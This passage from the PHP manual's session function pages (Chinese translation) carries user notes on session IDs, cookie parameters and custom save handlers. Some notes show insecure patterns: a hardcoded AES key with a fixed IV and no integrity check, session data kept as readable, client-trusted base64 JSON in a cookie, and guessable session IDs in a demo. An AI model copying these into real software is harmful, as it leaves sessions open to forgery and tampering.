$dns = $global['dns'] ? @gethostbyaddr($host):$host;

session_start();

if(session_is_registered('securitycheck')) {
    if(
            (($_SESSION['session']['host'] != $this->host) && !$usedns)
         || ($_SESSION['session']['dns'] != $this->dns)
         || ($_SESSION['session']['useragent'] != $this->useragent)
    ) {
        session_regenerate_id();
        session_unset();
    }
} else {
    $currentdata = array();
    $currentdata['host'] = $this->host;
    $currentdata['dns'] = $this->dns;
    $currentdata['useragent'] = $this->useragent;

    session_register('securitycheck', $currentdata);
}

If sombody steals an active SID (e.g. by referrer or injection attack), he can?t be validated because of either the host / dns or useragent and will get a new (empty) SID, without interrupting the original session.

Please mail me for any comments: php at 5mm de
madsen at sjovedyr.dk 27-Aug-2003 07:26
I had problems with a proxy changing a visitors session_id-cookie, so he'd get a LOT of errors when visiting my site.
I handled the bogus session-id's like this. (Note: It only works in versions > 4.3.2.)

<?php
// Start a session and suppress error-messages.
@session_start();

// Catch bogus session-id's.
if (!preg_match("/^[0-9a-z]*$/i", session_id())) {

    // Output a warning about the messed up session-id.
    $error->handleError("WARN", "Your session id is messed up, you might not be able to use some features on this site.");

    // Generate a fresh session-id.
    session_regenerate_id();
}

// Site contents.
?>

Hope someone can use it.


关闭会话

  • ? session_regenerate_id
  • session_reset ?
  • PHP Manual
  • Session 函数
  • 关闭会话

session_register_shutdown

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

session_register_shutdown — 关闭会话

说明

session_register_shutdown(): void

将 session_write_close() 函数注册为关闭会话的函数。

参数

此函数没有参数。

返回值

没有返回值。

错误／异常

如果函数调用失败，触发 E_WARNING 级别的错误。

User Contributed Notes

There are no user contributed notes for this page.


Re-initialize session array with original values

  • ? session_register_shutdown
  • session_save_path ?
  • PHP Manual
  • Session 函数
  • Re-initialize session array with original values

session_reset

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

session_reset — Re-initialize session array with original values

说明

session_reset(): bool

session_reset() reinitializes a session with original values stored in session storage. This function requires an active session and discards changes in $_SESSION.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
7.2.0 | The return type of this function is bool now. Formerly, it has been void.

参见

  • $_SESSION
  • The session.auto_start configuration directive
  • session_start() - 启动新会话或者重用现有会话
  • session_abort() - Discard session array changes and finish session
  • session_commit() - session_write_close 的别名

User Contributed Notes

parsa dot mhn at outlook dot com 02-Sep-2015 08:14
First of all you should execute this code :
<?php
    session_start();
    $_SESSION["A"] = "Some Value";
?>

then you should execute this one :

<?php
    start_session();
    $_SESSION["A"] = "Some New Value";  // set new value

    session_reset();  // old session value restored
    echo $_SESSION["A"];

    //Output: Some Value
?>

That is because session_reset() is rolling back changes to the last saved session data, which is their values right after the session_start().
vijay dot mits at gmail dot com 21-Apr-2015 09:12
first create a session variable

<?php
    session_start();
    $_SESSION["A"] = "Some Value";
    echo $_SESSION["A"];

    //Output: Some Value

    //if you need to rollback the session values after seting new value to session variables use session_reset()

    $_SESSION["A"] = "Some New Value";  // set new value

    session_reset();  // old session value restored
    echo $_SESSION["A"];

    //Output: Some Value
?>


读取/设置当前会话的保存路径

  • ? session_reset
  • session_set_cookie_params ?
  • PHP Manual
  • Session 函数
  • 读取/设置当前会话的保存路径

session_save_path

(PHP 4, PHP 5, PHP 7, PHP 8)

session_save_path — 读取/设置当前会话的保存路径

说明

session_save_path(?string $path = null): string|false

session_save_path() 返回当前会话的保存路径。

参数

path

指定会话数据保存的路径。如果已经指定且不为 null，保存数据的路径将会改变。 必须在调用 session_start() 函数之前调用 session_save_path() 函数。

Note:

在某些操作系统上，建议使用可以高效处理 大量小尺寸文件的文件系统上的路径来保存会话数据。 例如，在 Linux 平台上，对于会话数据保存的工作而言，reiserfs 文件系统会比 ext2fs 文件系统能够提供更好的性能。

返回值

返回保存会话数据的路径， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | path 现在可为 null。

参见

  • session.save_path 配置指令。

User Contributed Notes

hrushiemail at gmail dot com 09-Feb-2019 03:29
<?php
ini_set('session.save_path',realpath(dirname($_SERVER['DOCUMENT_ROOT']) . '/tmp'));
ini_set('session.gc_probability', 1);
session_start();

?>

(for using above code create a tmp folder/directory in your directory)
ohcc at 163 dot com 15-Dec-2017 07:42
If session.save_handler is set to files, on systems that have maximum path length limitations, when the session data file's path is too long, php may get you an error like "No such file or directory" and fails to start session, although the session-saving folder really exists on the disk.

You should:

1. Keep the session-saving folder's absolute path not too long
2. If you're with PHP 7.1+, don't set session.sid_length to a number too great, such as 255

I once got stuck with this problem on Windows and wasted hours to solve it.
mdibbets at outlook dot nospam 03-Oct-2013 07:45
I made a folder next to the public html folder and placed these lines at the very first point in index.php

Location of session folder:

/domains/account/session

location of index.php

/domains/account/public_html/index.php

What I placed in index.php at line 0:

<?php
ini_set('session.save_path',realpath(dirname($_SERVER['DOCUMENT_ROOT']) . '/../session'));
session_start();

This is the only solution that worked for me. Hope this helps someone.
alvaro at demogracia dot com 26-May-2010 03:42
Debian does not use the default garbage collector for sessions. Instead, it sets session.gc_probability to zero and it runs a cron job to clean up old session data in the default directory.

As a result, if your site sets a custom location with session_save_path() you also need to set a value for session.gc_probability, e.g.:

<?php
session_save_path('/home/example.com/sessions');
ini_set('session.gc_probability', 1);
?>

Otherwise, old files in '/home/example.com/sessions' will never get removed!
sampathperera at hotmail dot com - Sri Lanka 05-Feb-2008 11:25
Session on clustered web servers !

We had problem in PHP session handling with 2 web server cluster. Problem was one servers session data was not available in other server.

So I made a simple configuration in both server php.ini file. Changed session.save_path default value to shared folder on both servers (/mnt/session/).

It works for me. :)


设置会话 cookie 参数

  • ? session_save_path
  • session_set_save_handler ?
  • PHP Manual
  • Session 函数
  • 设置会话 cookie 参数

session_set_cookie_params

(PHP 4, PHP 5, PHP 7, PHP 8)

session_set_cookie_params — 设置会话 cookie 参数

说明

session_set_cookie_params(
int $lifetime_or_options,
?string $path = null,
?string $domain = null,
?bool $secure = null,
?bool $httponly = null
): bool

自 PHP 7.3.0 起可用的替代签名：

session_set_cookie_params(array $lifetime_or_options): bool

Cookie 参数可以在 php.ini 文件中定义，本函数仅在当前脚本执行过程中有效。 因此，如果要通过函数修改 cookie 参数，需要对每个请求都要 在调用 session_start() 函数之前调用 session_set_cookie_params() 函数。

本函数会修改运行期 ini 设置值， 可以通过 ini_get() 函数获取这些值。

参数

lifetime_or_options

使用第一个签名时，session cookie 的 lifetime，以秒为单位。

当使用第二个签名时，关联 array 可能具有 lifetime、path、domain、secure、httponly 和 samesite 中的任一 key。这些值与同名参数的含义相同。samesite 元素的值应该是 Lax 或 Strict。 如果可以接受的键在传入的数组中不存在，那么会采用这些键对应的默认值作为运行时的值。如果省略 samesite 元素，则不会设置 SameSite cookie 属性。

path

此 cookie 的有效 路径。 on the domain where 设置为"/"表示对于本域上所有的路径此 cookie 都可用。

domain

Cookie 的作用 域。 例如："www.php.net"。 如果要让 cookie 在所有的子域中都可用，此参数必须以点（.）开头，例如：".php.net"。

secure

设置为 true 表示 cookie 仅在使用 安全 链接时可用。

httponly

设置为 true 表示 PHP 发送 cookie 的时候会使用 httponly 标记。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | path、domain、secure 和 httponly 现在可为 null。
7.3.0 | 新增支持 lifetime_or_options 数组的替代签名。此签名还支持 SameSite cookie 属性的设置。
7.2.0 | 成功时返回 true， 或者在失败时返回 false。以前该函数返回 void。

参见

  • session.cookie_lifetime
  • session.cookie_path
  • session.cookie_domain
  • session.cookie_secure
  • session.cookie_httponly
  • session.cookie_samesite
  • session_get_cookie_params() - 获取会话 cookie 参数

User Contributed Notes

theking2(at)king.ma 14-Sep-2023 11:28
As per version PHP 7 session_start can include an option array this function became obsolete. All cookie settings (and many more) can be included in an option array as a parameter to session_start():

<?php
    session_start( [
        'cookie_path' => '/',
        'cookie_lifetime' => 300,
        'cookie_secure' => true,
        'cookie_httponly' => true,
        'cookie_samesite' => 'lax',
    ] );
eion at robbmob dot com 03-Mar-2021 07:24
Unfortunately session_set_cookie_params() cannot be called during an active session, it'll just E_WARNING and return false, which means calling session_regenerate_id() (eg, during login to prevent a session fixation attack) could end up using old cookie settings (eg, not "SameSite=Strict")

To ensure any future sessions are being created with the right cookie settings, you're better off to use ini_set() to set the cookie parameters - which is all that session_set_cookie_params() does under the hood anyway
frank at frankforte dot ca 02-Jun-2020 02:53
The following appears to work for setting the SameSite attribute on session cookies for PHP < 7.3.

<?php

    $secure = true; // if you only want to receive the cookie over HTTPS
    $httponly = true; // prevent JavaScript access to session cookie
    $samesite = 'lax';

    if(PHP_VERSION_ID < 70300) {
        session_set_cookie_params($maxlifetime, '/; samesite='.$samesite, $_SERVER['HTTP_HOST'], $secure, $httponly);
    } else {
        session_set_cookie_params([
            'lifetime' => $maxlifetime,
            'path' => '/',
            'domain' => $_SERVER['HTTP_HOST'],
            'secure' => $secure,
            'httponly' => $httponly,
            'samesite' => $samesite
        ]);
    }
?>
passerbyxp at gmail dot com 22-Jun-2012 07:50
One might want to be noted that the browsers are case-sensitive to the $path parameter.

For example, if you do this:
<?php
session_set_cookie_params(0,"/webapp/");
session_start();
?>

and you visit your site in this way:
example.com/WebApp/

You would get a new session on every request.

I'm not sure if this is the standard, but I see this happens on IE 6, Firefox 12 (Palemoon, actually), Chrome 19 (Portable version), and on both IIS and Apache.
werner dot avenant at gmail dot com 19-Jun-2012 08:58
Please take note of the garbage collection "feature" on systems like Ubuntu and Debian.

apt-get installs a cron script at /etc/cron.d/php5 that checks the session.gc_maxlifetime variable and then deletes all old sessions every 9 and 39 minutes.

The problem is: If you set the maxlifetime for a specific virtual host, those settings will be ignored. Lets say you want your server to store sessions for only 30 minutes, but for one special website you want all sessions to be 24 hours. If you set the session.gc_maxlifetime in .htaccess, your apache conf or use ini_set in your code, it won't work and sessions will still be destroyed after 30 minutes. That's because /usr/lib/php5/maxlifetime (found in that cron file) will always return the value in your php.ini, not the values you set in .htaccess.

A workaround is to set the maxlifetime to the maximum your sites require, and then configure a shorter maxlifetime in your .htaccess for those sites that don't need it.

Another solution is to give the php5 file in /etc/cron.d sane values, ie, only let it run at 3am in the morning, but you'll have to remember to block the replacement of this file it every time you update php.
Danack dot Ackroyd at gmail dot com 30-Jun-2011 01:20
Setting the domain for cookies in session_set_cookie_params() only affects the domain used for the session cookie which is set by PHP.

All other cookies set by calling the function setcookie() either:
i) Use the domain set explicitly in the call to setcookie()
or
ii) Don't set the domain at all on the cookie and so the browser assumes it's for the current domain.

So to make all your cookies be available across all sub-domains of your site you need to do this:

<?php
$currentCookieParams = session_get_cookie_params();

$rootDomain = '.example.com';

session_set_cookie_params(
    $currentCookieParams["lifetime"],
    $currentCookieParams["path"],
    $rootDomain,
    $currentCookieParams["secure"],
    $currentCookieParams["httponly"]
);

session_name('mysessionname');
session_start();

setcookie($cookieName, $cookieValue, time() + 3600, '/', $rootDomain);
?>
final dot wharf at gmail dot com 28-Oct-2010 07:42
As PHP's Session Control does not handle session lifetimes correctly when using session_set_cookie_params(), we need to do something in order to change the session expiry time every time the user visits our site. So, here's the problem.

<?php
  $lifetime=600;
  session_set_cookie_params($lifetime);
  session_start();
?>

This code doesn't change the lifetime of the session when the user gets back at our site or refreshes the page. The session WILL expire after $lifetime seconds, no matter how many times the user requests the page. So we just overwrite the session cookie as follows:

<?php
  $lifetime=600;
  session_start();
  setcookie(session_name(),session_id(),time()+$lifetime);
?>

And now we have the same session cookie with the lifetime set to the proper value.
digitalmagnets at gmail dot com 31-Mar-2010 01:36
It appears that if you are setting a session cookie on https://subdomain123.example.com for .example.com that the default of the secure cookie is not false but true.

So your cookie won't work on http://subdomainxyz.example.com unless you set the secure option to false.
jan at dewal dot net 19-Mar-2010 02:42
The information above about this function that it can only be used BEFORE session_start depends on how you use it. Because its also useful AFTER a session has started as follows:

Example you wand to change an already set value of the session cookie expire time:

<?php

 // Here we start as usual
session_set_cookie_params('3600'); // 1 hour
session_start();

// More code...

// Now we found in some database that the user whishes
// the cookie to expire after for example 10 minutes
// we can change it instantly !

session_set_cookie_params('600'); // 10 minutes.
session_regenerate_id(true);

// This will delete old cookie and adopt new expire settings and the
// old cookie variables in a new cookie

?>

Please note i only explained the browser (client) side changes of session cookie's expire time.
Miki 04-Dec-2009 10:13
REMEMBER, that if you have a multi-subdomain site, you must put the following to enable a session id on the whole website:

<?php
session_set_cookie_params(0, '/', '.example.com');
session_start();
?>

Otherwise, you'll have 2 diffrent sessions on e.g. news.example.com and download.example.com
Ashus 18-Nov-2008 07:38
Cross-domain Cookies do work in all browsers (path '/' server '.example.com'), except the case you try it in IE6/7 and the server name is retreived from :etc/hosts: file, in that case the cookie won't be even saved.
Anonymous 14-Aug-2008 11:42
In Response to RC
>23-Apr-2008 04:45
>For anyone looking for which browsers support the HTTPOnly >flag, per my research:
>
>IE 6 SP 1 and higher.
>Firefox 3 and higher.
>Opera 9.50 and higher.

Firefox 2.0 also supports them, but only since version 2.0.0.5.

http://bugzilla.mozilla.org/show_bug.cgi?id=178993
brandan, bildungsroman.org 27-May-2008 08:55
i found it somewhat difficult to work with sessions due to the documentation not really denoting the necessity for the session name to be set via session_name() in order for session_set_cookie_params() to be of any use.  i found no reference to session_name() in this article, and my session functions would have been a disastrous mess were it not for a friend familiar with session.

so, in essence, for anybody wondering about where to start: declare a session name before using session_set_cookie_params(), otherwise you might agitate php to the point of committing some atrocity against your webserver.
RC 23-Apr-2008 07:45
For anyone looking for which browsers support the HTTPOnly flag, per my research:

IE 6 SP 1 and higher.
Firefox 3 and higher.
Opera 9.50 and higher.

As of Safari 3.1.1 (April 2008), Safari did not yet support this flag.

This cookie flag was developed by Microsoft and is slowly making its way into other browsers: http://msdn2.microsoft.com/en-us/library/ms533046.aspx
eddie at roosenmaallen dot com 15-Mar-2008 06:49
Further to "info at xyzsite dot ru" and William Leslie, Safari on OS X also doesn't honour cookies with an underscore in the subdomain.

The workaround I've found is to specify the parent domain as the cookie domain -- instead of "bad_name.example.com", set the path to ".example.com"; it's suboptimal, but gets the job done.
William Leslie 08-Feb-2008 09:32
"Info at xyzsite dot ru" writes that Internet Explorer does not correctly handle cookies whose domain contains an underscore character.

However, There's a good reason for this apparently faulty behavior: the underscore character is forbidden in DNS names.  RFC 3696 says:

"The labels ... that make up a domain name must consist of only the ASCII alphabetic and numeric characters, plus the hyphen.  No other symbols or punctuation characters are permitted, nor is blank space."

If the underscore works in Mozilla or other browsers, it's only because they are being lenient in the validation of domain names.
info at xyzsite dot ru 20-Dec-2007 08:27
Just one more bad situation - cookies in Internet Explorer do not work with '_' in domain name. FF and Opera are O.K. So if your hostname is like test_host.example.com, IE cookies will not function correctly/
dan at vespernet dot co dot uk 02-Nov-2007 11:38
The below note is an excellent example of how to 'reset' the session expiration time upon a page refresh.

However, take care to compensate for when the session expires and doesn't renew itself (a bug I believe). If the below example is run every time a script is executed, it will give an 'Undefined index <session name> error' after the session fails to renew. Precede it with and if isset() condition.

<?php
private function startSession($time = 3600, $ses = 'MYSES') {
    session_set_cookie_params($time);
    session_name($ses);
    session_start();

    // Reset the expiration time upon page load
    if (isset($_COOKIE[$ses]))
      setcookie($ses, $_COOKIE[$ses], time() + $time, "/");
}
?>

The above example states that a session will last an hour without a page refresh until it is scrapped. Upon a page refresh, the expiration time is reset back to one hour again. If you wish to give users the option of 'staying logged in forever', just feed startSession a value of '99999999', which should last about 3 years.
jordi at jcanals dot net 15-Nov-2004 05:39
Something that has taken me some time to debug: session_set_cookie_params() does not work when the domain param is just a one level domain, like it was a TLD.

I have a site in an intranet and our internal domain is .local, so trying to set the cookie session to the .local domain does not work:

session_set_cookie_params(0, '/', '.local'); // Does not work

In all test I've done, setting the domain only works for SLDs and above:

session_set_cookie_params(0 , '/', '.sld.local'); Does work

This is nothing to do with PHP but the http protocol, witch does not permit setting cookies for TLDs for obvious security reasons.
shrockc at inhsNO dot SPAMorg 18-Jun-2002 09:19
when setting the path that the cookie is valid for, always remember to have that trailing '/'.

CORRECT:
session_set_cookie_params (0, '/yourpath/');

INCORRECT:
session_set_cookie_params (0, '/yourpath');

no comment on how long it took me to realize that this was the cause of my authentication/session problems...
gavin_spam at skypaint dot com 26-Feb-2002 02:58
The first argument to session_set_cookie_params is the number of seconds in the future (based on the server's current time) that the session will expire.  So if you want your sessions to last 100 days:

$expireTime = 60*60*24*100; // 100 days
session_set_cookie_params($expireTime);

I was using time()+$expireTime, which is WRONG (a lot of the session_set_cookie_params() examples I found get this wrong, but probably don't care because they are just doing "infinite" sessions).
php at mike2k dot com 09-May-2001 02:16
[Editor's Note:

Rasmus' Solution from the PHP-General list:

Just use a session cookie (by not providing an expiry time) and add the
server's expiry timestamp to the value of the cookie.  Then when you get
that cookie sent to you, check it against your server's time and make the
decision on whether to accept the cookie or not based on that.

That way you are immune from people not having their system clocks set
right.

-Rasmus

--zak@php.net]

A couple things I noticed when using this. I think it only works if you set the session_set_cookie_params() function BEFORE the session_start() function.

Also, when you set the "lifetime" on the cookie, it takes the seconds offset from the SERVER. it sends the cookie encoded to timeout at the SERVER time. So if your server is +2 minutes ahead of the client, and you set the cookie to timeout after 30 seconds, the client actually has 2 minutes and 30 seconds before the cookie times out. I don't know if there's any way that this can be patched in future versions, and the only alternative I think is setting cookies in javascript, which is hardly the point when using all these specific session functions.


设置用户自定义会话存储函数

  • ? session_set_cookie_params
  • session_start ?
  • PHP Manual
  • Session 函数
  • 设置用户自定义会话存储函数

session_set_save_handler

(PHP 4, PHP 5, PHP 7, PHP 8)

session_set_save_handler — 设置用户自定义会话存储函数

说明

session_set_save_handler(
callable $open,
callable $close,
callable $read,
callable $write,
callable $destroy,
callable $gc,
callable $create_sid = ?,
callable $validate_sid = ?,
callable $update_timestamp = ?
): bool

可以使用下面的方式来注册自定义会话存储函数：

session_set_save_handler(object $sessionhandler, bool $register_shutdown = true): bool

session_set_save_handler() 设置用户自定义 会话存储函数。 如果想使用 PHP 内置的会话存储机制之外的方式， 可以使用本函数。 例如，可以自定义会话存储函数来将会话数据存储到数据库。

参数

本函数有 2 种原型：

sessionhandler

实现了 SessionHandlerInterface， SessionIdInterface（可选） 和/或 SessionUpdateTimestampHandlerInterface 接口的对象， 例如 SessionHandler。

register_shutdown

将函数 session_write_close() 注册为 register_shutdown_function() 函数。

或者
open(string $savePath, string $sessionName)

实现了以下签名的 callable 回调：

open(string $savePath, string $sessionName): bool

open 回调函数类似于类的构造函数， 在会话打开的时候会被调用。 这是自动开始会话或者通过调用 session_start() 手动开始会话 之后第一个被调用的回调函数。 此回调函数操作成功返回 true，反之返回 false。

close

close 回调函数类似于类的析构函数。 在 write 回调函数调用之后调用。 当调用 session_write_close() 函数之后，也会调用 close 回调函数。 此回调函数操作成功返回 true，反之返回 false。

read

实现了以下签名的 callable 回调：

read(string $sessionId): string

如果会话中有数据，read 回调函数必须返回将会话数据编码（序列化）后的字符串。 如果会话中没有数据，read 回调函数返回空字符串。

在自动开始会话或者通过调用 session_start() 函数手动开始会话之后，PHP 内部调用 read 回调函数来获取会话数据。 在调用 read 之前，PHP 会调用 open 回调函数。

read 回调返回的序列化之后的字符串格式必须与 write 回调函数保存数据时的格式完全一致。 PHP 会自动反序列化返回的字符串并填充 $_SESSION 超级全局变量。 虽然数据看起来和 serialize() 函数很相似， 但是需要提醒的是，它们是不同的。 请参考： session.serialize_handler。

write

实现了以下签名的 callable 回调：

write(string $sessionId, string $data): bool

在会话保存数据时会调用 write 回调函数。 此回调函数接收当前会话 ID 以及 $_SESSION 中数据序列化之后的字符串作为参数。 序列化会话数据的过程由 PHP 根据 session.serialize_handler 设定值来完成。

序列化后的数据将和会话 ID 关联在一起进行保存。 当调用 read 回调函数获取数据时，所返回的数据必须要和 传入 write 回调函数的数据完全保持一致。

PHP 会在脚本执行完毕或调用 session_write_close() 函数之后调用此回调函数。 注意，在调用完此回调函数之后，PHP 内部会调用 close 回调函数。

Note:

PHP 会在输出流写入完毕并且关闭之后 才调用 write 回调函数， 所以在 write 回调函数中的调试信息不会输出到浏览器中。 如果需要在 write 回调函数中使用调试输出， 建议将调试输出写入到文件。

destroy

实现了以下签名的 callable 回调：

destroy(string $sessionId): bool

当调用 session_destroy() 函数， 或者调用 session_regenerate_id() 函数并且设置 destroy 参数为 true 时， 会调用此回调函数。此回调函数操作成功返回 true，反之返回 false。

gc

实现了以下签名的 callable 回调：

gc(int $lifetime): bool

为了清理会话中的旧数据，PHP 会不时的调用垃圾收集回调函数。 调用周期由 session.gc_probability 和 session.gc_divisor 参数控制。 传入到此回调函数的 lifetime 参数由 session.gc_maxlifetime 设置。 此回调函数操作成功返回 true，反之返回 false。

create_sid

实现了以下签名的 callable 回调：

create_sid(): string

需要新的会话 ID 时，执行此回调函数。 它被调用时不会传入参数，其返回值应该是一个字符串格式的、有效的 session ID。

validate_sid

实现了以下签名的 callable 回调：

validate_sid(string $key): bool

开启 session.use_strict_mode 后， 当启动一个 session 时，提供了 session ID 后会执行此回调。 参数 key 是待验证的 session ID。 如果该 ID 的 session 已经存在，则为有效 session ID。 成功时返回值应当为 true，失败时为 false。

update_timestamp

实现了以下签名的 callable 回调：

update_timestamp(string $key, string $val): bool

更新 session 时执行此回调。 参数 key 是 session ID；参数 val 是 session 的数据。 成功时返回值应当为 true，失败时为 false。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 自定义会话处理程序：完整代码请参见 SessionHandlerInterface。

这里仅列出了调用方式，完整代码请参见 SessionHandlerInterface。

这里使用了 session_set_save_handler() 函数的 OOP 原型 并且使用第二个参数来注册 shutdown 函数。 当将对象注册为会话保存处理程序时，建议使用这种方式。

<?php
class MySessionHandler implements SessionHandlerInterface
{
// 在这里实现接口
}

$handler = new MySessionHandler();
session_set_save_handler($handler, true);
session_start();

// 现在可以使用 $_SESSION 保存以及获取数据了

注释

Warning

在对象销毁之后才会调用 write 和 close 回调函数， 所以，在这两个回调函数中不可以使用对象，也不可以抛出异常。 如果在函数中抛出异常，PHP 既不会捕获它，也不会跟踪它， 这样会导致程序异常终止。 但是对象析构函数可以使用会话。

可以在析构函数中调用 session_write_close() 函数来解决这个问题。 但是注册 shutdown 回调函数才是更加可靠的做法。

Warning

如果会话在脚本结束后关闭，对于某些 SAPI 而言，当前工作目录可能已经被改变。 可以调用 session_write_close() 函数在脚本执行结束之前关闭会话。

参见

  • session.save_handler 配置指示
  • session.serialize_handler 配置指示
  • register_shutdown_function() - 注册在关闭时执行的函数
  • session_register_shutdown() - 关闭会话
  • 完整的实现请参考 » save_handler.inc。

User Contributed Notes

polygon dot co dot in at gmail dot com 11-Aug-2023 09:44
How to use Cookie for managing session data with encryption.

<?php
class MySessionHandler implements SessionHandlerInterface
{
    function __construct()
    {
        // Store the key and IV somewhere safe
        //$key = openssl_random_pseudo_bytes(32); // 256-bit key
        //$iv = openssl_random_pseudo_bytes(16); // 128-bit IV

        // Store the base64 key and IV somewhere safe
        //$key_base64 = base64_encode($key);
        //$iv_base64 = base64_encode($vi);

        // Use the store base64 key and IV below
        $key_base64 = 's8Livn/jULM6HDdPY76E3aXtfELdleTaqOC8HgTfW7M=';
        $iv_base64 = 'nswqKP23TT+deVNuaV5nXQ==';
        $this->key = base64_decode($key_base64);
        $this->iv = base64_decode($iv_base64);
    }

    // Encryption
    function encryptSess($plaintext)
    {
        return openssl_encrypt($plaintext, 'AES-256-CBC', $this->key, OPENSSL_RAW_DATA, $this->iv);
    }

    // Decryption
    function decryptSess($ciphertext)
    {
        return openssl_decrypt($ciphertext, 'AES-256-CBC', $this->key, OPENSSL_RAW_DATA, $this->iv);
    }

    public function open($savePath, $sessionName): bool
    {
        ob_start(); // Turn on output buffering
        return true;
    }

    public function close(): bool
    {
        return true;
    }

    #[\ReturnTypeWillChange]
    public function read($id)
    {
        if (isset($_COOKIE[session_name()])) {
            return (string)$this->decryptSess(base64_decode($_COOKIE[session_name()]));
        } else {
            return '';
        }
    }

    public function write($id, $data): bool
    {
        $op = ob_get_clean();
        $encryptedData = base64_encode($this->encryptSess($data));
        setcookie(session_name(), $encryptedData, time() + (ini_get("session.gc_maxlifetime")), '/');
        echo $op;

        return true;
    }

    public function destroy($id): bool
    {
        return true;
    }

    #[\ReturnTypeWillChange]
    public function gc($maxlifetime)
    {
        return true;
    }
}

$handler = new MySessionHandler();
session_set_save_handler($handler, true);
session_start();
var_dump($_SESSION);
$_SESSION['id'] = 10000;

echo '<br/>Hello World';
?>
polygon dot co dot in at gmail dot com 01-Jan-2023 12:41
Although, session_set_save_handler() has support for saving session data via other modes, This does not support a way for saving session data in COOKIES. This is required for a site with a huge concurrent request the recommended solution by session_set_save_handler() does not fit the load site is handling.
So, the other way around to do this is as below.

<?php
// start.php
ob_start(); // Turn on output buffering

$sessCookieName = session_name();
$_SESSION = json_decode(base64_decode($_COOKIE[$sessCookieName]), true);

// Code
function echosess() {
    echo $_SESSION['id'];
}
echosess();
$_SESSION['id'] = 1;

// end.php
$op = ob_get_clean(); // Get current buffer contents and delete current output buffer
$encryptedData = base64_encode(json_encode($_SESSION));
setcookie($sessCookieName, $encryptedData, time() + (ini_get("session.gc_maxlifetime")), '/');
echo $op;
?>

If more security is required about the data of the session in cookie, then key based encryption/decryption can solve the issue.
polygon dot co dot in at gmail dot com 06-Nov-2021 07:39
Below is a demo to check the order in which session function executes.

<?php

ini_set('session.use_strict_mode',true);

function sess_open($sess_path, $sess_name) {
    echo '<br/>sess_open';
    return true;
}

function sess_close() {
    echo '<br/>sess_close';
    return true;
}

function sess_read($sess_id) {
    echo '<br/>sess_read';
    return '';
}

function sess_write($sess_id, $data) {
    echo '<br/>sess_write';
    return true;
}

function sess_destroy($sess_id) {
    echo '<br/>sess_destroy';
    return true;
}

function sess_gc($sess_maxlifetime) {
    echo '<br/>sess_gc';
    return true;
}

function sess_create_sid() {
    echo '<br/>sess_create_sid';
    return 'RNS'.rand(0,10);
}

function sess_validate_sid($sess_id) {
    echo '<br/>sess_validate_sid';
    return true;
}

function sess_update_timestamp($sess_id,$data) {
    echo '<br/>sess_update_timestamp';
    return true;
}

session_set_save_handler(
    'sess_open',
    'sess_close',
    'sess_read',
    'sess_write',
    'sess_destroy',
    'sess_gc',
    'sess_create_sid',
    'sess_validate_sid',
    'sess_update_timestamp'
);

session_start();

echo '<br/>code here...';

?>

O/P Below when above code executed first time.
sess_open
sess_create_sid
sess_read
code here...
sess_write
sess_close

O/P Below for next execution.
sess_open
sess_validate_sid
sess_read
code here...
sess_write
sess_close
tony at marston-home dot demon dot co dot uk 10-Jun-2018 03:43
Your custom session handler should not contain calls to any of the session functions, such as session_name() or session_id(), as the relevant values are passed as arguments on various handler methods. Attempting to obtain values from alternative sources may not work as expected.
peter at brandrock dot co dot za 12-Apr-2018 06:33
If saving to a database, as in the examples on this page, for performance, consider the following.

Build the Sessions table with an index on the SessionExpires column to quickly identify rows to be deleted in the garbage collection phase.

Rather do a garbage collection "delete from sessions where expiresOn < $now" on every session start/open. If you have an index on expiry time, this will not be a big hit, and evens out the load across all users. If it is possible that a large number of sessions will expire at the same time, include a "limit 100" clause, set for whatever number is reasonable, so that each user shares the load.

Use a varchar rather than Text to store the data, as Text will store the column off-page and is retrieved slightly slower. Use Text only if your application really does store large amounts of text in the session.
ohcc at 163 dot com 16-Dec-2017 04:36
As of PHP 7.0, you can implement SessionUpdateTimestampHandlerInterface to
define your own session id validating method like validate_sid and the timestamp updating method like update_timestamp in the non-OOP prototype of session_set_save_handler().

SessionUpdateTimestampHandlerInterface is a new interface introduced in PHP 7.0, which has not been documented yet. It has two abstract methods: SessionUpdateTimestampHandlerInterface :: validateId($sessionId) and SessionUpdateTimestampHandlerInterface :: updateTimestamp($sessionId, $sessionData).

<?php
    /*
       @author Wu Xiancheng
       Code structure for PHP 7.0+ only because SessionUpdateTimestampHandlerInterface is introduced in PHP 7.0
       With this class you can validate php session id and update the timestamp of php session data
       with the OOP prototype of session_set_save_handler() in PHP 7.0+
    */
    class PHPSessionXHandler implements SessionHandlerInterface, SessionUpdateTimestampHandlerInterface {
        public function close(){
            // return value should be true for success or false for failure
            // ...
        }
        public function destroy($sessionId){
            // return value should be true for success or false for failure
            // ...
        }
        public function gc($maximumLifetime){
            // return value should be true for success or false for failure
            // ...
        }
        public function open($sessionSavePath, $sessionName){
            // return value should be true for success or false for failure
            // ...
        }
        public function read($sessionId){
            // return value should be the session data or an empty string
            // ...
        }
        public function write($sessionId, $sessionData){
            // return value should be true for success or false for failure
            // ...
        }
        public function create_sid(){
            // available since PHP 5.5.1
            // invoked internally when a new session id is needed
            // no parameter is needed and return value should be the new session id created
            // ...
        }
        public function validateId($sessionId){
            // implements SessionUpdateTimestampHandlerInterface::validateId()
            // available since PHP 7.0
            // return value should be true if the session id is valid otherwise false
            // if false is returned a new session id will be generated by php internally
            // ...
        }
        public function updateTimestamp($sessionId, $sessionData){
            // implements SessionUpdateTimestampHandlerInterface::validateId()
            // available since PHP 7.0
            // return value should be true for success or false for failure
            // ...
        }
    }
?>
ohcc at 163 dot com 16-Dec-2017 07:57
What is not documented is that callables $validate_sid and $update_timestamp are supported since PHP 7.0. for the
 prototype of "bool session_set_save_handler ( callable $open , callable $close , callable $read , callable $write , callable $destroy , callable $gc [, callable $create_sid [, callable $validate_sid [, callable $update_timestamp ]]] )".

validate_sid($sessionId)
  This callback is to validate $sessionId. Its return value should be true for valid session id $sessionId or false for invalid session id $sessionId. If false is returned, a new session id is generated to replace the invalid session id $sessionId.

update_timestamp($sessionId)
  This call back is to update timestamp, and its return value should be true for success or false for failure.

If you use this prototype, if you provide less than 6 parameters or if you provide more parameters than session_set_save_handler() accepts, you will get a "Wrong parameter count for session_set_save_handler()" warning.

